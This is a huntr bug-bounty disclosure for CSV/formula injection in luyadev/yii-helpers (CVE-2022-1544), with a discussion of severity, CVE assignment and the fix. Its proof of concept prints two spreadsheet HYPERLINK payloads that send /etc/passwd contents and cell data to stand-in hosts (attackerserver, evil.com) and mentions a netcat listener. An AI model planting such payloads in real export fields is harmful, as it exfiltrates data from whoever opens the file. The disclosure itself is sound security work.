huntr

Formula Injection/CSV Injection due to Improper Neutralization of Formula Elements in CSV File in luyadev/yii-helpers

0

✓ Valid Reported on Apr 1st 2022

Description

Formula Injection/CSV Injection in "Firstname" & "Lastname" due to Improper Neutralization of Formula Elements in CSV File.

Proof of Concept

1.Go to a Preferences from the user account and in Personal info of "Firstname" & "Lastname" insert the below payloads.

2.Payloads:-

=HYPERLINK(CONCATENATE("http://attackerserver:port/a.txt?v="; ('file:///etc/passwd'#$passwd.A1)); "poc")

=HYPERLINK("http://evil.com?x="&A3&","&B3&"[CR]","Error fetching info: Click me to resolve.")

4.Start your python server or Netcat listener.

3.Then from admin account go to "System" -> "Users" => "three dot"-> click on "Export Data" and select "CSV" in "Format" -> "Generate export" -> "Download Export"

4.Open the downloaded CSV and click on poc and Error fetching info: Click me to resolve. you will see that attacker able to get /etc/passwd of admin system and also he will get redirected to evil.com.

Video,Image & CSV PoC

https://drive.google.com/drive/folders/1IZioPhBSYJaAy8sBw5wvvk_Mtcb9vXZv?usp=sharing

Impact

Successful exploitation can lead to impacts such as client-sided command ir
execution, or remote ex-filtration of contained confidential data.

Chat with us

References

- nvd

CVE
CVE-2022-1544
(Published)

Vulnerability Type
CWE-1236: Improper Neutralization of Formula Elements in a CSV File

Severity
High (8)

Registry
Other

Affected Version
https://demo.luya.io/en/admin

Visibility
Public

Status
Fixed

Found by

SAMPRIT DAS
@sampritdas8
pro

This report was seen 913 times.

We are processing your report and will contact the **luyadev/yii-helpers** team within 24 hours.
8 months ago

We have contacted a member of the **luyadev/yii-helpers** team and are waiting to hear back
8 months ago

We have sent a follow up to the **luyadev/yii-helpers** team. We will try again i
8 months ago

Chat with us

SAMPRIT DAS modified the report 8 months ago

We have sent a second follow up to the **luyadev/yii-helpers** team. We will try again in 10 days.

7 months ago

SAMPRIT DAS 7 months ago Researcher

Hello, @admin I have contacted the maintainer he said he is working on the fix so can you please validate the report, or can ask the maintainer to do so?

SAMPRIT DAS 7 months ago Researcher

and here are other reports of the luya application:

https://huntr.dev/bounties/67492ce0-4d9e-4316-be37-fb6d029be030/
https://huntr.dev/bounties/ba1a288b-c123-46a4-9f6a-0f60385c4929/
https://huntr.dev/bounties/5d7afb5a-db72-4cc8-be03-4859d5036148/
https://huntr.dev/bounties/94b96c70-bbd8-497a-98ff-8559965f88e3/
https://huntr.dev/bounties/b48f1239-b66d-4b64-b9b4-d971c4ede3c2/

SAMPRIT DAS 7 months ago Researcher

Here you can see the conversation with the maintainer:

SAMPRIT DAS 7 months ago Researcher

https://github.com/luyadev/luya/issues/2121

SAMPRIT DAS 7 months ago Researcher

@admin

Jamie Slome 7 months ago Admin

It looks like the maintainer is already aware of the reports, and will be approving of the reports that they think are appropriate, as mentioned on the GitHub Issue.

Please be patient with the maintainer, and I am sure they will mark the releva
and fixed 👍

Chat with us

SAMPRIT DAS 7 months ago

Researcher

Okay 👍

Basil modified the report 7 months ago

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

Basil validated this vulnerability 7 months ago

SAMPRIT DAS has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

SAMPRIT DAS 7 months ago

Researcher

@nadar @maintainer The Severity of this report is not low you can see here it mentioned https://nvd.nist.gov/vuln/detail/CVE-2022-22121 Base Score: 8.0 HIGHVector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

SAMPRIT DAS 7 months ago

Researcher

@admin and @nadar @maintainer please include this commit for the fix: https://github.com/luyadev/yii-helpers/commit/9956ed63f516110c2b588471507b870e748c4cfb

SAMPRIT DAS 7 months ago

Researcher

@admin Can you please assign CVE for this report?

SAMPRIT DAS 7 months ago

Researcher

@admin and @nadar @maintainer https://drive.google.com/file/d/1aBfgsY3ani3cljceG2y0dWaNVWbVyVUf/view?usp=sharing here you can see a normal user can exploit it and it will affect directly admin.

Chat with us

Jamie Slome 7 months ago Admin

@sampritdas8 - please stop spamming the chat channel with admin usage. We are aware of your requests and will get around to you shortly.

Please also respect the severity assessment of the maintainer. With regards to CVE, one will not be assigned here as the impact of the vulnerability has been stated as low unless the maintainer would like to go ahead and publish one.

SAMPRIT DAS 7 months ago Researcher

Sorry for that admin but a normal user can perform this attack and it's going to affect the admin system according to CVSS:3.1 calculation severity should be CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H 8.0 High

SAMPRIT DAS 7 months ago Researcher

and https://nvd.nist.gov/vuln/detail/CVE-2022-22121 is also similar to this report.

Basil 7 months ago Maintainer

@admin can you please change the Severity to what is appropriate? I am really not into those topics and i just set the level to how dangerous we think this is to our clients projects which was low - as the data is managed by administrators and not end users. but we totally appreciate the work of @sampritdas8 so maybe we should respect his wish to change the severity back to the suggested one.

We have sent a fix follow up to the **luyadev/yii-helpers** team. We will try again in 7 days.
7 months ago

Jamie Slome 7 months ago Admin

Sorted 👍

SAMPRIT DAS 7 months ago Researcher

Thank you as now it is high severity, can I get a CVE for this report @admin?

Jamie Slome 7 months ago Admin

Happy to assign a CVE if the maintainer is happy to.

@maintainer - are you happy for us to proceed with a CVE?

Basil 7 months ago Maintainer

I have to admit... that i am not sure about that ... what could be the benefit of that? So, as i am not used to those topics, its better when qualified peoples like @admin are taking care of those decisions. We are just a very small opensource project. For us this is closed.

SAMPRIT DAS 7 months ago Researcher

@admin Maintainer said you can make the decisions so what do you think?

Jamie Slome 7 months ago Admin

Sure, I will arrange a CVE for this report 👍

@maintainer - are you able to resolve the report by marking the fix for the report?

Basil 7 months ago Maintainer

Its the wrong repository. https://github.com/luyadev/yii-helpers/releases/tag/1.2.1

SAMPRIT DAS 7 months ago Researcher

@admin Can you please change the name of the repo from luyadev/luya to /luyadev/yii-helpers/ so the maintainer can confirm the fix

Jamie Slome 7 months ago Admin

Understood, seeing as this is against the wrong repository, it will take a day to process the request, but once I have moved this over to the correct repository, we can go ahead and confirm the fix and assign the CVE too :)

Chat with us

SAMPRIT DAS 7 months ago Researcher

Okay @admin thanks I will be waiting

Jamie Slome 7 months ago Admin

Repository updated to `luyadev/yii-helpers` 👍

@maintainer - feel free to proceed with fix confirmation.

SAMPRIT DAS 7 months ago Researcher

@admin Can you please change the Description to:

The yii-helpers application is vulnerable to Formula Injection/CSV Injection in the "Firstname" & "Lastname" input fields for which a low privileged attacker can inject the payloads in the "Firstname" & "Lastname" input fields and when an "administrator export" the "Users data" as a CSV format and opens it, the payload gets executed.

SAMPRIT DAS 7 months ago Researcher

because it is more clear than previous one

Basil 7 months ago Maintainer

"Firstname" & "Lastname" isn't it general issue for the export function helper function in the above mentioned library? The luya admin ui just uses the library at certain points. Well, what ever :-)

Basil marked this as fixed in **1.2.1** with commit **9956ed** 7 months ago

The fix bounty has been dropped ✕

This vulnerability will not receive a CVE ✕

SAMPRIT DAS 7 months ago Researcher

Chat with us

Yes maintainer but the description is for the CVE so everyone who reads it will get a clear idea about the exploitation

SAMPRIT DAS 7 months ago Researcher

@admin as the fix has been confirmed so can you please assign the CVE and publish it on nvd/mitre.

Jamie Slome 7 months ago Admin

CVE arranged 👍

SAMPRIT DAS 7 months ago Researcher

Thank you

> Sign in to join this conversation